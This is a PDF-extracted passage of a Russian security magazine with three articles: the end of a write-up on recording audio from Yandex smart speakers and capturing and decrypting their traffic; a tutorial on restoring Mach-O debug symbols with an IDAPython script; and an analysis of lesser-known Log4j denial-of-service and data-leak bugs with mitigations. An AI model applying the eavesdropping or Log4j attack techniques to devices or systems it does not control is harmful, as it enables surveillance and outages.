совета ми из  и  Khadas. Преж де чем начинать запись,
нуж но оста новить Quasar, что бы осво бодить мик рофоны. Сде лать это прос то,
как показа но на скрин шоте ниже.

статьи ellado справ кой

За пись аудио

Что бы отре гули ровать уро вень уси ления мик рофонов, вос поль зуйся ути литой
AlsaMixer.

Ме ню AlsaMixer

За писан ный файл забира ем, нап ример через SFTP.
Мы можем пой ти даль ше и нап равить запись через ncat на свой ПК

и получать потоко вое аудио или перех ватывать тра фик при ложе ния Quasar,
ведь оно отправ ляет пакеты с ауди опо током на сер вер. Давай прис тупим
к перех вату тра фика колон ки.

ÑËÓØÀÅÌ ÑÅÒÜ

Для прос лушива ния тра фика колон ки вос поль зуем ся Wireshark и его инс тру -
мен том уда лен ного прос лушива ния под наз вани ем sshdump.

Нас тро ить его прос то: нуж но ввес ти дан ные для SSH-тун неля, которые
исполь зуешь для вхо да на устрой ство, и ука зать коман ду для запус ка
tcpdump. В нашем слу чае это . Интерфейс для прос лушива -

ния — единс твен ный, wlan0 (lo не в счет). Информа цию об интерфей сах
можешь пос мотреть коман дой .

/data/tcpdump

ifconfig
По яви лась неболь шая заг воз дка с перех ватом тра фика нап рямую

в Wireshark. Дело в том, что Tuna отправ ляет при ветс твен ную стро ку
при запус ке тун неля SSH. Что бы ана лиз тра фика в Wireshark про шел
успешнее, уда ли пер вые две стро ки.

Раз уж стан дар тный метод не сра ботал, а возить ся даль ше не было желания,
я перех ватил тра фик через кон соль тем же спо собом, что исполь зует
Wireshark, но сох ранил его на компь юте ре в файл.

 
ssh root@ru.tuna.am -p 20585 "/data/tcpdump -s 0 -n -w - -U -i 
wlan0  2> /dev/null " > ~/remotecapture

По лез но ука зывать объ ем тра фика, при дос тижении которо го про изой дет
оста нов ка, так как Wireshark может ругать ся на слиш ком боль шие фай лы. Я
пос тупил про ще: подож дал нем ного и оста новил зах ват ком бинаци ей Ctrl-C.
Затем уда лил вер хние две стро ки фай ла и заг рузил его в Wireshark.

Ви дим тра фик! Нап ример, пакет, летящий на . Но он

зашиф рован, и для его прос мотра нуж ны сес сион ные клю чи SSL. Это реша -
ется нес ложно — в сети пол но инс трук ций по нас трой ке сис темы для сох -
ранения этих клю чей в файл. Нам дос таточ но выпол нить такую коман ду:

clck.yandex.net

export SSLKEYLOGFILE=/data/sslkeylog.log

И начина ем ловить тра фик.
Уч ти, что соеди нения, которые были откры ты до запус ка логиро вания,

не рас кро ют свои клю чи. Так что, воз можно, колон ку при дет ся перезаг рузить.
Ког да соберешь клю чи и тра фик, мож но смот реть дан ные в рас шифро ван ном
виде и ана лизи ровать. Поп робуй, это нес ложно!

ÈÒÎÃÈ

Ко лон ки «Лайт», «Мини 2», «Мини», «Стан ция 2», «Лайт 2» и, воз можно,
«Мини 3» при покуп ке с рук могут ока зать ся сов сем не безобид ной игрушкой,
учи тывая осо бен ности сис темы, которые я опи сал.

Воз можно, я тут подог реваю паранойю и недове рие, но посуди сам:
не имея каких-то осо бен ных навыков в пен тесте или взло ме, исполь зуя
Google и свои навыки работы с Linux, я смог «зарядить» колон ку для слеж ки,
кра жи дан ных, сабота жа умно го дома, а так же зак репле ния и боково го
переме щения в сети.

Ме ня, как и мно гих поль зовате лей, удив ляет хра нение лич ных дан ных
без защиты, осо бен но учи тывая, что «Яндекс» — далеко не стар тап. За два
года, что я с раз ной интенсив ностью ковырял ся в про шив ках этих устрой ств,
ничего кар диналь но не изме нилось.

Ка кова веро ятность, что кто-то про даст колон ку без сбро са? Очень
высокая! К сожале нию, инже неры не про дума ли резер вирова ние раз делов
заг рузчи ков, поэто му при каж дом обновле нии сущес тву ет риск «окир пичива -
ния». Я учас твую в , пос вящен ной ремон ту этих колонок,
и час то встре чаю устрой ства с проб лемой . Это ука зыва ет

на пов режде ние раз дела TPL. Такое устрой ство уже невоз можно сбро сить
без спе циаль ных зна ний и прог рамма тора. Такие колон ки ока зыва ются
на «Ави то» и попада ют к новым вла дель цам вмес те со всей информа цией.
Раз бира ют их мол ниенос но!

груп пе в Telegram
FIP CHK: FFFFFF

https://xakep.ru/2020/02/21/bluetooth-ddos/
https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/post-exploitation/03-tools
https://losst.pro/zapis-s-mikrofona-v-linux
https://docs.khadas.com/products/sbc/vim3/applications/earc
https://t.me/yandexrem


JaboHack

ВЗЛОМ

Се год ня мы раз берем ся, как при выч ная
отла доч ная информа ция может обер нуть ся
неожи дан ной голов ной болью при ревер се.
Возь мем бинарь Mach-O под macOS
ARM64: с виду — сим волы есть, а по фак -
ту — сплош ной мусор. Раз берем, почему
так про исхо дит, как вруч ную най ти нас -
тоящую таб лицу сим волов и строк,
и напишем прос той скрипт, который вер нет
чита емые име на обратно в твою IDA.

Мы очень быс тро при выка ем к полез ным мелочам, дела ющим нашу жизнь
удоб нее. Нас толь ко при выка ем, что не замеча ем их, ког да они есть, одна ко
очень болез ненно вос при нима ем момент, ког да они по каким-то при чинам
вне зап но про пада ют. В этом слу чае при ходит ся заново учить ся базовым
вещам, горес тно вспо миная, как же мы жили без полез ных инс тру мен тов
рань ше.

Се год ня мы погово рим об отла доч ных сим волах (я думаю, ты уже дос -
таточ но глу боко пог ружен в темы кодин га и ревер са, что бы не нуж но было
на паль цах объ яснять, что это такое, для чего и как исполь зует ся). Во вре мя
отладки прог раммы к ним так при выка ешь, что забыва ешь убрать их во вре мя
финаль ной ком пиляции. С дру гой сто роны, хакеры нас толь ко прис пособи -
лись к тому, что прог раммист забыл убрать отла доч ную информа цию из прог -
раммы, что вос при нима ют ее наличие как неч то само собой разуме ющееся
и вре мена ми теря ются, если ее не ока зыва ется на мес те или с ней что-то
не так.

Да вай поп робу ем разоб рать ся с кон крет ным слу чаем, ког да отла доч ная
информа ция в ревер сиру емом фай ле вро де как при сутс тву ет, но вос поль -
зовать ся ей нап рямую не получа ется. Для при мера мы возь мем некое при -
ложе ние под macOS фор мата Mach-O для архи тек туры ARM64.

Мы ког да-то начина ли раз бирать этот фор мат в статье «
»,

поэто му сегод ня будем сочетать полез ное с полез ным и про дол жим раз бор,
делая упор уже на сим воль ной информа ции, содер жащей ся в таких фай лах.
Заг ружа ем нашу прог рамму в IDA.

Ли посак ция для fat
binary. Лома ем прог рамму для macOS с под дер жкой нес коль ких архи тек тур

На пер вый взгляд, отла доч ная информа ция в фай ле вро де как при сутс тву ет,
боль шинс тво фун кций име ют име на. Одна ко при бли жай шем рас смот рении
эти «име на» ока зыва ются бес смыс ленным набором сим волов без кон ца
и начала и совер шенно не впи сыва ются в логику прог раммы.

Мож но было бы пред положить зло наме рен ную обфуска цию, о которой я
говорил в нес коль ких пре дыду щих стать ях, одна ко для обфуска ции име на,
наобо рот, черес чур осмыслен ны. Вдо бавок по логике про ще выкинуть
из модуля всю отла доч ную информа цию начис то, чем замора чивать ся с ее
обфуска цией, прес ледуя непонят ную цель.

Сог лашусь: пос ледний аргу мент нес коль ко сла боват, пос коль ку за вре мя
нашего зна комс тва нам неод нократ но попада лись тво рения с абсо лют но
нечело вечес кой логикой, одна ко апри ори я все-таки ста раюсь при дер живать -
ся хороше го мне ния о людях. Поп робу ем про ана лизи ровать отла доч ную
информа цию это го модуля дру гими средс тва ми. В кон це кон цов, на IDA свет
кли ном не сошел ся, фун кция ана лиза Debug Symbols Mach-O встро ена, нап -
ример, в тот же Detect It Easy.

Для ее прос мотра необ ходимо нажать сле ва кноп ку «Информа ция о фай -
ле» или кноп ку «Mach-O». В открыв шемся окне нас инте ресу ет рас положен -
ная сле ва вклад ка «Коман ды  LC_SYMTAB  Таб лица сим волов».

Да же на пер вый взгляд (а мы вер немся к под робно му раз бору этой таб лицы
поз днее) там содер жится пол ная каша. Одна ко, про лис тав таб лицу чуть ниже,
мы натыка емся на более осмыслен ную информа цию, что дает нам надеж ду
на успешное изле чение паци ента.

Стро ки в пра вой колон ке напоми нают неп равиль но порезан ные декори -
рован ные име на сим волов (если ты еще не слы шал о таких, , а мы
пока не будем отвле кать ся на эту тему). Если мы ткнем ся во вклад ку
«LC_SYMTAB  Таб лица строк  Стро ки», то получим и вов се пол ностью
валид ные декори рован ные име на фун кций.

вот ссыл ка

То есть отла доч ные име на фун кций в фай ле все-таки при сутс тву ют. Поп робу -
ем разоб рать ся, что в них не так, почему ни Detect It Easy, ни IDA их пра виль но
не вос при нима ют, пос ле чего попыта емся руками самос тоятель но починить
их.

Для это го нам при дет ся сно ва оку нуть ся в мат часть.
Вспом ним .

Прав да, там шла речь о «жир ном» бинар нике, в котором содер жался код,
пред назна чен ный для нес коль ких про цес соров, наш же слу чай про ще: у нас
бинар ник «обез жирен ный» и в нем содер жится толь ко код для про цес сора
ARM64. В двух сло вах передам суть полез ной информа ции из той статьи
для тех, кому лень читать.

статью, в которой мы начина ли раз бирать фор мат Mach-O

Ти пич ный файл Mach-O сос тоит из трех областей. Заголо вок содер жит
общую информа цию о дво ичном фай ле: порядок бай тов (магичес кое чис ло),
тип про цес сора, количес тво команд заг рузки и так далее. Коман ды заг -
рузки — это сво его рода оглавле ние, которое опи сыва ет положе ние сег -
ментов, таб лицу сим волов, динами чес кую таб лицу сим волов и тому подоб -
ное. Каж дая коман да заг рузки содер жит метадан ные, такие как тип коман ды,
ее имя, позиция в дво ичном фай ле и про чие полез ные све дения.

Третья область — дан ные — обыч но самая боль шая часть объ ектно го
фай ла. Она содер жит код и дан ные, такие как таб лицы сим волов, которые,
собс твен но, нас и инте ресу ют. Не будем под робно оста нав ливать ся на струк -
турах фор мата Mach-O, ты можешь самос тоятель но изу чить их в качес тве
домаш него задания, про читав  или раз бирая код и опи сание
к нему . Пос коль ку мы изна чаль но выб рали Detect It
Easy в качес тве инс тру мен та для ана лиза, для эко номии вре мени поручим
пар синг имен но ему. Нач нем с заголов ка фай ла.

вот эту статью
это го пар сера с GitHub

Как я уже говорил, наш бинар ник «пос тный», поэто му он сра зу начина ется
с . Помимо типа про цес сора, в заголов ке мы видим, что за ним

сле дуют  коман ды заг рузки общим раз мером  байт. Каж дая
коман да име ет собс твен ную струк туру и собс твен ный раз мер, поэто му,
полага ясь на DIE, сра зу находим инте ресу ющую нас коман ду ,

содер жащую ссыл ки на отла доч ные сим волы (я упо минал ее в начале статьи).

mach_header
0x2d 0x16F0

LC_SYMTAB

Как сле дует из спе цифи кации, фор мат у этой коман ды сле дующий:

  struct symtab_command {
   // LC_SYMTAB 0x2
      uint32_t cmd;
   // Размер структуры symtab_command — 0x18
      uint32_t cmdsize;
   // Смещение к таблице символов — 0x4b78e20
      uint32_t symoff;
   // Количество символов в таблице символов — 0x4a537
      uint32_t nsyms;
   // Смещение таблицы строк — 0x5020cc0
      uint32_t stroff;
   // Размер таблицы строк в байтах — 0xa37f50
      uint32_t strsize;
};

Все это похоже на прав ду до тех пор, пока мы не поп робу ем про верить дан -
ные по ука зан ным сме щени ям. Самый наг лядный при мер — таб лица строк,
содер жащая име на отла доч ных сим волов с нулевым раз делите лем. По сме -
щению  и близ ко такого нет, одна ко, тер пеливо полис тав вниз (или

вбив в поиск какое-нибудь имя), мы находим ее начало  бай тами ниже
по адре су .

0x5020cc0
0x6000

0x5026cc0

Итак, мы опре дели ли реаль ное начало таб лицы строк, поп робу ем теперь най -
ти начало таб лицы сим волов. Сно ва заг лянув в спе цифи кацию, узна ём, что
таб лица сим волов пред став ляет собой мас сив, эле мен тами которо го явля -
ются струк туры nlist_64 раз мером  байт каж дая:0x10

  struct nlist_64 {
     union {
        // Индекс, обычно это смещение имени символа относительно 
начала таблицы строк

          uint32_t n_strx;
     } n_un;
    // Тип символа
     uint8_t n_type;
    // Целое число, указывающее номер раздела, в котором может быть 
найден этот символ или NO_SECT
     uint8_t n_sect;
    // Предоставляет дополнительную информацию о природе символа для 
нестандартных символов
     uint16_t n_desc;
    // Значение символа (обычно это адрес символа)
     uint64_t n_value;
};

По ля этой струк туры соот ветс тву ют колон кам таб лицы со вклад ки «Коман ды
 LC_SYMTAB  Таб лица сим волов», и их наз начение весь ма неп росто

для понима ния, поэто му мы сно ва оста вим этот урок для самос тоятель ного
изу чения по спе цифи кации Mach-O в про цити рован ных выше стать ях. Если
крат ко: нас сей час инте ресу ют два поля этой струк туры —  и .

Их смысл весь ма нет риви аль ным обра зом опре деля ется уста нов кой битовых
групп осталь ных трех полей, но мы очень гру бо пред положим, что  —

это сме щение име ни сим вола отно ситель но таб лицы сим волов (в нашем слу -
чае это ), а  — соот ветс тву ющий адрес дан ного сим вола.

n_strx n_value

n_strx

0x5026cc0 n_value
Ра зуме ется, по сме щению из  находят ся левые дан -

ные, никак не напоми нающие подоб ную таб лицу. Но у нас есть пер вая при -
шед шая в голову тупая гипоте за, что если адрес таб лицы строк сдви нут отно -
ситель но реаль ного на , то и адрес таб лицы сим волов надо начинать
искать по такому же сдви гу, то есть по адре су .

На удив ление, столь дурац кая идея с ходу ока зыва ется вер ной, и мы дей стви -
тель но обна ружи ваем по адре су  таб лицу из 1-бай товых эле мен -
тов, пер вые 4 бай та которых напоми нают сме щения на тек сто вые стро ки
отно ситель но  (выделе но крас ным), а пос ледние похожи на адре са

фун кций в IDA (выделе но жел тым).

LC_SYMTAB 0x4b78e20

0x6000
0x4b78e20+0x6000=0x4B7EE20

0x4B7EE20

0x5026cc0

Впро чем, даже если бы нам не повез ло, таб лицу сим волов поч ти навер няка
мож но было бы най ти, про лис тав код чуть выше начала таб лицы строк (обыч -
но она пред шес тву ет ей). В кон це кон цов, мож но было бы прос то поис кать
в коде адрес любой име нован ной фун кции из IDA — он обя затель но при сутс -
тву ет в таб лице сим волов, при чем, как пра вило, неод нократ но. Прав да,
искать начало таб лицы сим волов при дет ся гла зами, но это дело упорс тва
и зай мет минут пять.

Итак, мы наш ли реаль ные адре са таб лицы сим волов и таб лицы строк, поп -
робу ем теперь мак сималь но прос то вос поль зовать ся этим зна нием для вос -
ста нов ления реаль ных имен отла доч ных сим волов. Пос коль ку мы изна чаль но
выб рали IDA как инс тру мент для вос ста нов ления исходно го кода, пред лагаю,
не мудрствуя лукаво, реали зовать эту задачу через прос тень кий скрипт
на IDAPython.

Мы уже стал кивались с IDA-скрип тингом в пре дыду щих стать ях,
это доволь но мощ ный инс тру мент рас ширения фун кци ональ нос ти дизас сем -
бле ра, но недо оце нен ный, в основном из-за сла бого докумен тирова ния.
Впро чем, если ты чита ешь «Хакер», то навер няка видел статьи на эту тему,
нап ример «

» или «
». В общем, берем IDAPython и для начала про буем прос то вывес ти

спи сок имен сим волов с соот ветс тву ющи ми им адре сами. Для это го соз даем
тек сто вый файл  сле дующе го содер жания:

IDA + Python = любовь: Что может дать встро енный Python в дизас -
сем бле ре IDA? Ав томати зация IDA Pro. Дораба тыва ем «Иду» напиль -
ником

loadnames.py

 import idc
 import idautils

 def _read_long(f):
        """считать из бинарного файла 32-битное целое"""

          data = f.read(4)
           if len(data) != 4:

             raise ParseError("read_long failed")
          return struct.unpack("<I", data)[0]

 def _read_long64(f):
        """считать из бинарного файла 64-битное целое"""

          data = f.read(8)
           if len(data) != 8:

             raise ParseError("read_long64 failed")
          return struct.unpack("<Q", data)[0]

 def _read_name(f):
        """считать из бинарного файла текстовую строку с завершающим 
0"""

          size = 0x1000
          bdata = f.read(size)

         data=bdata.decode('utf-8', errors='ignore')
           if len(data) < size:

              return None
          endpos = data.find('\0')

           if endpos == -1:
             return data

           elif endpos == 0:
              return ""

        else:
              return data[:endpos]

# Имя текущего файла, загруженного в IDA
path_name=idaapi.get_input_file_path()
# Открываем его как бинарный файл
   f = open(path_name, "rb")

# Смещение до начала таблицы символов
pos=0x4B7EE20
# Пока не конец таблицы символов

 while pos<0x5024190:
  # Переходим на текущую запись nlist_64
   f.seek(pos, 0)
  # Считываем n_strx, прибавляем к нему смещение до начала таблицы 
строк и получаем смещение до имени символа
   nameofs=_read_long(f) +0x5026CC0
  # Пропускаем следующие 4 байта, устанавливаем позицию на n_value
  _read_long(f)
  # Читаем n_value — адрес текущего символа
  funcofs=_read_long64(f)
  # Если он не нулевой
   if funcofs>0:
     f.seek(nameofs, 0)
    # Читаем имя символа
    name=_read_name(f)
    # Печатаем строку
    print(hex(pos)+": "+hex(nameofs)+" ("+name+") "+hex(funcofs))
  # Переходим к следующей записи
  pos+=0x10

За пус тив этот скрипт через File  Script le (Alt-F7), в окне Output мы получа -
ем спи сок сим волов с соот ветс тву ющи ми име нами и адре сами:

0x4c5a960: 0x578516d (__ZNSt3__16__treeINS_12__value_
typeIjPN5Model4Base16BodyRigEvaluator4NodeEEENS_19__map_value_
compareIjS7_NS_4lessIjEELb1EEENS_9allocatorIS7_EEE25__emplace_unique_
key_argsIjJRKNS_21piecewise_construct_tENS_5tupleIJRKjEEENSJ_
IJEEEEEENS_4pairINS_15__tree_iteratorIS7_PNS_11__tree_nodeIS7_
PvEElEEbEERKT_DpOT0_) 0x101e00c50
0x4c5a970: 0x578529f (__ZNSt3__16__treeINS_12__value_
typeIjPKN5Model4Base20BodyAnimationSamplerEEENS_19__map_value_
compareIjS7_NS_4lessIjEELb1EEENS_9allocatorIS7_EEE25__emplace_unique_
key_argsIjJRKNS_21piecewise_construct_tENS_5tupleIJRKjEEENSJ_
IJEEEEEENS_4pairINS_15__tree_iteratorIS7_PNS_11__tree_nodeIS7_
PvEElEEbEERKT_DpOT0_) 0x101e00c50
0x4c5a980: 0x57853d1 (__ZNK5Model4Base16BodyRigEvaluator8EvaluateEf) 
0x101e00d1c
0x4c5a990: 0x57853ff (__
ZN5Model4Base16BodyRigEvaluator13ComputeJointsERPNS1_
4NodeERKN4Core5Types9Composite8Matrix4fEPS8_RKNS7_8Vector3fE) 
0x101e00dec

Пос коль ку мы пар сим таб лицу сим волов очень гру бо, не обра баты вая поля
,  и , в этом спис ке пол но кол лизий — дуб лиру ющиеся

сим волы, нес коль ко имен (вклю чая пус тые) на один и тот же адрес и про чее.
Это, в прин ципе, при емле мо, прос то при наз начении уже наз начен ного име -
ни IDA будет выдавать пре дуп режде ние типа «Can’t rename byte as '...' because
the name is already used in the program». Это пре дуп режде ние мож но про игно -
риро вать и вооб ще отклю чить. А вот наз начение пус того име ни хорошо бы
отфиль тро вать, так как оно обну ляет уже наз начен ное имя сим вола. В общем,
ищем вот эту стро ку в нашем скрип те:

n_type n_sect n_desc

print(hex(pos)+": "+hex(nameofs)+" ("+name+") "+hex(funcofs))

И заменя ем такой конс трук цией:

 if name!="":
      idc.set_name(funcofs,name,idc.SN_NOCHECK | idc.SN_PUBLIC)

И сно ва запус каем наш скрипт. Про игно риро вав и отклю чив пару выше упо -
мяну тых пре дуп режде ний, мы получа ем код с впол не себе чита емы ми сим -
волами, при чем уже редеко риро ван ными.

Итак, мы разоб рали прос тей ший слу чай вос ста нов ления сбой ной таб лицы
отла доч ных сим волов. Разуме ется, в реаль ной жиз ни все может быть нам ного
слож нее — таб лицы сим волов и строк могут быть побиты, фраг менти рова ны
и даже переме шаны, но теперь ты хотя бы име ешь пред став ление, как они
выг лядят, где их искать и на что имен но обра щать вни мание при их вос ста -
нов лении. Воз можно, вос ста нов ленная таким обра зом отла доч ная информа -
ция поможет тебе при ревер се какого-то осо бо нет риви аль ного при ложе ния.

https://xakep.ru/2021/09/15/hack-mach-o/
https://xakep.ru/2021/09/15/hack-mach-o/
https://learn.microsoft.com/en-us/windows/win32/debug/decorated-symbol-names
https://xakep.ru/2021/09/15/hack-mach-o/
https://alexdremov.me/mystery-of-mach-o-object-file-builders/
https://github.com/qyang-nj/llios/tree/main/macho_parser
https://xakep.ru/2011/06/23/55780/
https://xakep.ru/2011/06/23/55780/
https://xakep.ru/2025/05/29/ida-scripting/
https://xakep.ru/2025/05/29/ida-scripting/


ВЗЛОМ

Еще в декаб ре 2021-го, ког да были най дены и зак рыты
четыре уяз вимос ти Log4Shell в Log4j, ока залось, что их
на самом деле боль ше. Две из них — отказ в обслу жива нии
и утеч ка дан ных — тог да широко извес тны не были. Лишь
в сен тябре 2022 года вен дор офи циаль но приз нал их,
но пред ста вил как часть тех самых четырех исходных багов.
Поэто му пат чей и новых CVE всем этим багам не положе но.

Это близ кий к тек сту перес каз пос та 
 из бло га 

. Весь текст статьи дос тупен для чте -
ния без плат ной под писки.

Additional
Vulnerabilities in Log4J Nightwatch
Cybersecurity

Ра нее рекомен дуемые меры пре дос торож ности вро де уда ления клас са
 для решения этих проб лем не работа ют. Надо обно вить ся

до вер сии с пат чем при пер вой же воз можнос ти, если ты еще исполь зуешь
ста рые методы. Сис темы, которые дают дос туп к кон фигам Log4j, пока оста -
ются уяз вимыми.

JndiLookup

LOG4J, LOG4SHELL È ÐÎÄÑÒÂÅÍÍÛÅ ÓßÇÂÈÌÎÑÒÈ (CVE)

Ло гиро вание — это не прос то какая-то при хоть, а нас тоящая необ ходимость
в соф те. В Java появил ся API для логиро вания еще с вер сии 1.4 в 2002-м,
но Log4j начал набирать популяр ность с 1999-го и давал фору по фичам.
Из всех вари антов он стал самым популяр ным и исполь зует ся во мно жес тве
при ложе ний на Java.

В декаб ре 2021-го в Log4j обна ружи ли кучу серь езных уяз вимос тей.
Самая кри тич ная откры вала дорогу для уда лен ного выпол нения кода.

Сю да вхо дят:
 (CVSS 10.0), так же извес тная как Log4Shell, поз воля ет

выпол нять lookup-выраже ния в дан ных, которые записы вают ся в логах, что
рас кры вает уяз вимость JNDI.

• CVE-2021-44228

 (CVSS 10.0) — ког да в нас трой ках логиро вания исполь -

зует ся нес тандар тный пат терн с Context Lookup (нап ример, 
), зло умыш ленник, кон тро лиру ющий вход ные дан ные Thread

Context Map (MDC), может соз дать вре донос ные дан ные, исполь зуя шаб -
лон JNDI Lookup.

• CVE-2021-45046

$${ctx:
loginId}

 (CVSS 6.6) — зло умыш ленник, име ющий пра во изме нять

файл кон фигура ции логиро вания, может соз дать вре донос ную кон фигура -
цию, исполь зуя JDBC Appender с источни ком дан ных, ссы лающим ся
на JNDI URI.

• CVE-2021-44832

 (CVSS 5.9) — не защища ет от некон тро лиру емой рекур -

сии при самос сыла ющих ся зап росах. Если в нас трой ках логиро вания
исполь зует ся нес тандар тный пат терн с Context Lookup (нап ример, 

), зло умыш ленник, кон тро лиру ющий вход ные дан ные
Thread Context Map (MDC), может соз дать вре донос ные дан ные с рекур -
сивным зап росом, что вызовет StackOverowError и оста новит про цесс.

• CVE-2021-45105

$${
ctx:loginId}

Хро ноло гия рас кры тия уяз вимос тей

Эти четыре проб лемы воз никли из-за алго рит ма поис ка строк, который поз -
волял зло умыш ленни кам встра ивать неп роверен ные дан ные в при ложе ние
и экс плу ати ровать уяз вимос ти, похожие на SQL-инъ екции. Самая опас ная
из них — воз можность заг рузки кода с уда лен ного сер вера через JNDI и его
выпол нение. Да, ты уга дал, речь о Log4Shell!

При мер полез ной наг рузки для Log4Shell через JNDI lookup

Ил люс тра ция схе мы ата ки через Log4j

Зап латки выходи ли по гра фику, пред став ленно му в таб лице.

Да та Вер сия Ис прав ленные
CVE

При меча ния

10.12.2021 2.15.0 CVE-2021-44228 Ис прав лена
основная уяз ‐
вимость
Log4Shell, отклю ‐
чает лукапы,
но их мож но сно ‐
ва вклю чить
через параметр

13.12.2021 2.16.0 CVE-2021-45046 Ис прав лена
проб лема с кон ‐
текс тны ми
лукапа ми; отклю ‐
чает лукапы
для записан ных
дан ных

18.12.2021 2.17.0 CVE-2021-45105 Ис прав лена
проб лема отка за
в обслу жива нии;
отклю чает боль ‐
шинс тво рекур ‐
сивных лукапов

28.12.2021 2.17.1 CVE-2021-44832 Ис прав лена
проб лема с фай ‐
лом кон фигура ‐
ции; огра ничи ‐
вает URL кон тек ‐
ста JNDI до java

Сра зу пос ле пер вых двух обновле ний коман да
Corretto из Amazon выпус тила хот фикс
для исправ ления этих двух уяз вимос тей. Зап латка
может быть при мене на на лету к работа ющей
JVM в виде аген та (под робнос ти в  и на

). Дру гие проб лемы этим пат чем не реша -
ются.

бло ге
GitHub

На декабрь 2021 года в Apache рекомен довали сле дующие меры пре дос -
торож ности для тех, кто не может обно вить ся (под робнее смот ри на 

):
ар хивной

стра нице безопас ности от янва ря 2022 года
Проб лемы с Log4Shell (CVE-2021-44228 и CVE-2021-45046) — уда ли класс
JndiLookup из classpath. Если у тебя вер сия Log4j ниже 2.16.0, прос то убе -
ри JndiLookup из classpath: 

. Так же
обра ти вни мание на вари ант с хот патчем выше.

•

zip -q -d log4j-core-*.jar org/
apache/logging/log4j/core/lookup/JndiLookup.class

В кон фиге жур налиро вания в раз деле PatternLayout замени вызовы Context
Lookups типа  или  пат терна ми
Thread Context Map ( ,  или ).

•
${ctx:loginId} $${ctx:loginId}

%X %mdc %MDC
Ес ли это не вари ант, прос то убе ри вся кие упо мина ния Context Lookups
вро де  или , которые берут дан ные
из внеш них источни ков, таких как HTTP-заголов ки или поль зователь ский
ввод.

•
${ctx:loginId} $${ctx:loginId}

Вто рые два пун кта каса ются решения воп росов, свя зан ных с кон тек стом
(CVE-2021-45046 и CVE-2021-45105):

ÑÒÐÎÊÎÂÀß ÈÍÒÅÐÏÎËßÖÈß È JAVA EE: ÒÎ×ÊÈ ÏÅÐÅÑÅ×ÅÍÈß

Од на из фишек Log4j и про чих Java-биб лиотек — это замены свой ств (они же
под ста нов ки). Они поз воля ют заменять плей схол деры вро де  дру -
гими зна чени ями, ана логич но тому, как это про исхо дит в bash и про чих язы -
ках. В Log4j такие шту ки добави ли, что бы упростить нас трой ку, и изна чаль но
их исполь зовали в кон фигура цион ных фай лах, а не в логиру емых дан ных. 

 в Log4j с вер сией 2.0 в октябре 2010 года.

${xxx:yyy}

Эта
фича была добав лена

В какой-то момент фичу изме нили, что бы поз волить под ста нов ки во вхо -
дящих дан ных, которые записы вают ся в лог (ско рее все го, это про изош ло
в октябре 2011 года). Со вре менем ста ли добав лять ся новые клас сы под ста -
новок.  в июле 2013-го. А код JNDI ведет
свое начало от Java EE из 1990-х.

JNDI-под ста нов ки были внед рены

Ес ли же эту фичу исполь зовать не по наз начению, она может стать нас -
тоящей голов ной болью для безопас ников. Виной все му — нес тыков ка мно -
жес тва сис тем, которые вооб ще-то не сто ило бы друг с дру гом соеди нять:

по иск строк в кон фиге;•
об работ ка вхо дящих логов с небезо пас ными дан ными;•
ста рый Java EE / JNDI-код из 1990-х.•

Вот код из клас са , который обра баты вает вхо дящие
сооб щения жур нала. Как вид но, он ищет сим вол дол лара и пере адре сует
вызов клас су .

MessagePatternConverter

StrSubstitutor

           for (int i = offset; i < workingBuilder.length() - 1; i++) {
          
  
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1)

== '{') {
         final String value = workingBuilder.substring(offset,
workingBuilder.length());
    workingBuilder.setLength(offset);
     workingBuilder.append(config.getStrSubstitutor().replace(event,
value));
  }
}

В Log4j класс  — это глав ный вход для вся ких lookup-фун -

кций. Он опи рает ся на интерфейс , который реали зован мно жес -

твом клас сов, каж дый из которых тянет свой тип лукапа (боль шинс тво из них
оби тает в пакете ). Вся эта ком пания под -
клю чает ся через , соз давая кон некты с дру гими ком -
понен тами (кста ти, кас томные лукапы тоже под держи вают ся). Один
из методов поис ка пре дос тавля ет под дер жку Java Naming and Directory
Interface (JNDI) — это реали зова но в клас се JndiLookup.

StrSubstitutor
StrLookup

org.apache.logging.log4j.core.lookup
ар хитек туру пла гинов

Ни же — интерфейс  и прос той вари ант поис ка:StrLookup

   public interface StrLookup {
       String CATEGORY = "Lookup";
        String lookup(LogEvent event, String key);
}

Этот код в клас се  прок ладыва ет мост меж ду поис ковыми опе -
раци ями и уста рев шим кодом JNDI (Java EE), который все еще таит ся в нед -
рах Java:

JndiLookup

        public String lookup(final LogEvent event, final String key) {
        if (key == null) {

       return null;
    }
        final String jndiName = convertJndiName(key);
         

 
try (final JndiManager jndiManager = JndiManager.

getDefaultManager()) {
        return Objects.toString(jndiManager.lookup(jndiName), null);

         } catch (final NamingException e) {
...

ÓßÇÂÈÌÎÑÒÜ 1: ÎÒÊÀÇ Â ÎÁÑËÓÆÈÂÀÍÈÈ

Мно гие типы стро ково го поис ка в Log4j рекур сивны и могут быть вло жены
друг в дру га (код можешь пос мотреть ).на GitHub

Каж дая вло жен ная фун кция исполь зует часть памяти сте ка Java, которая
отли чает ся от основной памяти (кучи), исполь зуемой для боль шинс тва про -
цес сов. Нас тра ивает ся эта память парамет ром  и в зависи мос ти от тво -

ей ОС и вер сии Java может варь иро вать ся от одно го мегабай та до одно го
гигабай та. Если перебор щишь и пре высишь этот лимит, тебя ожи дает

.

-Xss

StackOverflowError
Хо тя в  упо мина ются рекур сивные зап росы, счи талось, что

эта уяз вимость воз ника ет лишь при нес тандар тных нас трой ках, где исполь -
зуют ся кон текс тные вызовы. Но, как ока залось, проб лему мож но исполь -
зовать и на стан дар тных нас трой ках, отпра вив сис теме вре донос ный пакет,
который она попыта ется залоги ровать.

CVE-2021-45105

Этот баг пофик сили, отклю чив вызовы, но пре дыду щие вер сии и любые
сис темы, исполь зующие нас трой ки Log4j, оста ются уяз вимыми 

. Если отпра вить рекур сивный пей лоад на уяз вимую

сис тему, Log4j будет обра баты вать его до тех пор, пока у при ложе ния
не закон чится память сте ка.

â ñòàí äàð -

òíûõ êîí ôèãóðà öèÿõ

Раз мер сте ка в Java мож но про верить с помощью такой коман ды:

> java -XX:+PrintFlagsFinal -version | grep \ ThreadStackSize
intx ThreadStackSize                          = 1024

Ата ка про водит ся «всле пую» и не тре бует получе ния никакой обратной свя зи
от сис темы.

Раз мер полез ной наг рузки, который может валить JVM, зависит от нас трой ки
памяти сте ка. Ниже перечис лены раз меры полез ной наг рузки, которые были
про тес тирова ны на JDK 17.

Раз мер памяти сте ка
(-Xss)

Ко личес тво вло жен ‐
ных цик лов до сбоя

Раз мер пей лоада

144 Кбайт (минимум) 100 1 Кбайт

